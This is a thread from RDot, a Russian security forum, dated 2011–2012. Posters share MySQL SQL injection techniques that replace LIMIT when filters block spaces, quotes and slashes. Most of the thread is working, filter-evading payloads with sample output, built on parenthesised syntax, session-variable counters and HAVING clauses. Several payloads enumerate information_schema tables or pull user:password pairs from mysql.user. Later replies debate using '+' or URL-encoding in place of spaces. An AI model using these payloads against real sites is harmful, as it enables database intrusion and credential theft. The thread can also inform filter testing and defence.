RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   Альтернативный LIMIT (https://rdot.org/forum/showthread.php?t=1243)

ont 17.02.2011 12:48

Альтернативный LIMIT
 
Затравка.
Приведу альтернативу LIMIT, когда в url нельзя использовать символы: [пробел],`,',/,%
Из-за ограничений отпадают альтернативные пробелы (%09,%0A,...) и /**/. Остается альтернативный синтаксис с использованием скобок. Но синтаксис limit не позволяет даже их:
Код:

... limit(1,100)      --> error
... limit(1),(100)    --> error
... limit(1)          --> error
... limit(1)offset(0) --> error

Совсем без LIMIT
Если в таблице есть уникальные данные для каждой из строк (например колонка id, e-mail, username), и известно точное значение, то в таком случае будет удобнее указать условие в WHERE, которое ограничит выборку до одной строки. К сожалению для information_schema.tables это не так.

Идея и реализация
Суть идеи -- добавить к данным колонку с возрастающими числами (самодельный AUTOINCREMENT) и затем добавить WHERE условие с точным значением для этой колонки.

1) Google услужливо подсказывает:
SELECT @row:=@row+1 r, t.table_name FROM (SELECT @row:=0) r,information_schema.tables t
Код:

+------+---------------------------------------+
| r    | table_name                            |
+------+---------------------------------------+
|    1 | CHARACTER_SETS                        |
|    2 | COLLATIONS                            |
|    3 | COLLATION_CHARACTER_SET_APPLICABILITY |
|    4 | COLUMNS                              |
|    5 | COLUMN_PRIVILEGES                    |
....

2) Переделываем в альтернативный синтаксис (с использованием обратной кавычки ` было бы проще, но ее часто фильтруют):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@row:=0)r,(select(table_name)from(information_schema.tables))t
Как оказалось, пробел между SELECT и @ можно опустить.

3) Теперь в конце запроса висит символ t, который мешает дописать условие WHERE... Решаем проблему прицепкой известной таблицы, данные из которой мы не будем выбирать. Как оказалось, алиас для такой таблицы не обязателен, что позволяет дописывать условия, но размножает строки (об этом дальше).
Чем меньше строк в дополнительной таблице, тем лучше, в примере выбрана information_schema.engines, т.к. в моем случае это всего 6 строк.
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)
Код:

+------+----------------+
| r    | table_name    |
+------+----------------+
|    1 | CHARACTER_SETS |
|    2 | CHARACTER_SETS |
|    3 | CHARACTER_SETS |
|    4 | CHARACTER_SETS |
|    5 | CHARACTER_SETS |
|    6 | CHARACTER_SETS |
|    7 | COLLATIONS    |
|    8 | COLLATIONS    |
|    9 | COLLATIONS    |
|  10 | COLLATIONS    |
....

4) Теперь, если дописать where(@row=1) то получим пустое множество, если where(r=1), то ошибку. Правильным решением будет запись having(r=1):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1)
Код:

+------+----------------+
| r    | table_name    |
+------+----------------+
|    2 | CHARACTER_SETS |
+------+----------------+
1 row in set (0.00 sec)

В результатах выборки значение r будет всегда на единицу больше.

5) Делаем обертку вокруг нашего SELECT, чтобы получить нужную колонку:
SELECT(table_name)FROM(SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1))x
Код:

+----------------+
| table_name    |
+----------------+
| CHARACTER_SETS |
+----------------+
1 row in set (0.00 sec)

Использование.
Результат построенного SELECT будет зависеть от значения r в having(r=1). Очевидно, что, если в таблице information_schema.engines было шесть строк, то having(r=N) для N=1..6 даст одинаковые значения. Следующее значение будет получено при N=7...12. Поэтому для получения данных, сначала необходимо экспериментальным путем установить количество строк в information_schema.engines (в моем случае новое значение было получено при N=7 поэтому количество строк равно шести). После чего можно получать данные, подставляя значения N=i*rows_count, где i -- номер значения, rows_count -- количество строк в engines.

P.S. Прошу прощения, если привел уже известное решение или есть решение проще (поэтому запостил сюда)...
P.P.S. Мне кажется или парсер форума местами вставляет пробелы?! В SQL запросах их быть не должно...

ont 17.02.2011 16:39

Пластическая операция.
Спешу дополнить свой пост более красивой формой запроса. (Спасибо profexer за его оригинальную идею ускорителя SQL запрсов и nikp за его красивый беспробельный вариант).

Исходный вариант:
Здесь идет постепенная аккумуляция данных в @n:
select(@n)from(select(@n:=0x20),(select(null)from( mysql.user)where(0x2b)in(@n:=concat(@n,0x7c,user,0 x3a,password))))n
Достаточно модифицировать его, так, чтобы данные не аккумулировались а переопределялись для определенного значения счетчика.

Что изменилось:
select(@n)from(select(@n:=0x20),(@c:=0),(select(null)from(mysql.user)where(0x2b)in(@n:=if(@c=1,concat(user,0x3a,password),@n),@c:=@c+1)))n
Выдаст первую строчку запроса, т.к. нет дополнительной таблицы, размножающей строки.

Шаблон использования:
select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from([запрос])where(0x2b)in(@n:=if(@c=N,[колонка/concat],@n),@c:=@c+1)))n

Например:

select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from((select(table_name)from(information_schema.tables) )x)where(0x2b)in(@n:=if(@c=112,table_name,@n),@c:=@c+1)))n

Получилось очень красиво и удобно (нет проблем с подбором количества строк + запрос и колонки размещаются красивее).

nikp 17.02.2011 19:35

Чаще попадается задача - вывести, как можно больше информации, в одиночное поле вывода на странице,
но это тоже полезно.

Вариант, возможно более легкий для восприятия:
Накапливаем счетчик и отбираем по нему нужную запись (в примере это запись №2)

Код:

select(@n:=@n+1)n,concat_ws(0x3a,user,password)from(select@n:=-1)k,(mysql.user)having(n+1=2)

525 13.03.2012 20:49

Цитата:

Приведу альтернативу LIMIT, когда в url нельзя использовать символы: [пробел],`,',/,%
Из-за ограничений отпадают альтернативные пробелы (%09,%0A,...) и /**/. Остается альтернативный синтаксис с использованием скобок. Но синтаксис limit не позволяет даже их:
Цитата:

4) Теперь, если дописать where(@row=1) то получим пустое множество, если where(r=1), то ошибку. Правильным решением будет запись having(r=1):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1)
я один это заметил? что все возможные вариации пробелов запрещение. А у всех вариантов альтернетивы лимита в тс есть "+".
"+" - может заменять пробел

DrakonHaSh 13.03.2012 21:18

525
+1 == -(-1) ;)

Qwazar 13.03.2012 21:23

Цитата:

Сообщение от 525 (Сообщение 24411)
я один это заметил? что все возможные вариации пробелов запрещение. А у всех вариантов альтернетивы лимита в тс есть "+".
"+" - может заменять пробел

Плюс в Urlencode останется плюсом.

InSys 14.03.2012 00:59

Цитата:

Сообщение от Qwazar (Сообщение 24413)
Плюс в Urlencode останется плюсом.

Эм, что вы имели ввиду? Плюс в urlencode станет %2B, а вот пробел станет плюсом или %20, разве не так?

Boolean 14.03.2012 12:42

Цитата:

Сообщение от InSys (Сообщение 24417)
Эм, что вы имели ввиду? Плюс в urlencode станет %2B, а вот пробел станет плюсом или %20, разве не так?

Когда вставите вектор в URL например, то + автоматически не закодируется в %2B, поэтому обычно юзают два минуса.

InSys 15.03.2012 04:43

Цитата:

Сообщение от Boolean (Сообщение 24422)
Когда вставите вектор в URL например, то + автоматически не закодируется в %2B, поэтому обычно юзают два минуса.

Да вы шутите. Извращение какое-то. Ну автоматически не закодируется, это то понятно. Что мешает руками писать %2B, ну и контролировать заодно что вставляете в адресную строку? Я всегда так делаю например.

Boolean 15.03.2012 14:24

Цитата:

Сообщение от InSys (Сообщение 24434)
Да вы шутите. Извращение какое-то. Ну автоматически не закодируется, это то понятно. Что мешает руками писать %2B, ну и контролировать заодно что вставляете в адресную строку? Я всегда так делаю например.

Никаких шуток. Я всего лишь пояснил, что имел ввиду Qwazar.


Часовой пояс GMT +3, время: 15:36.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot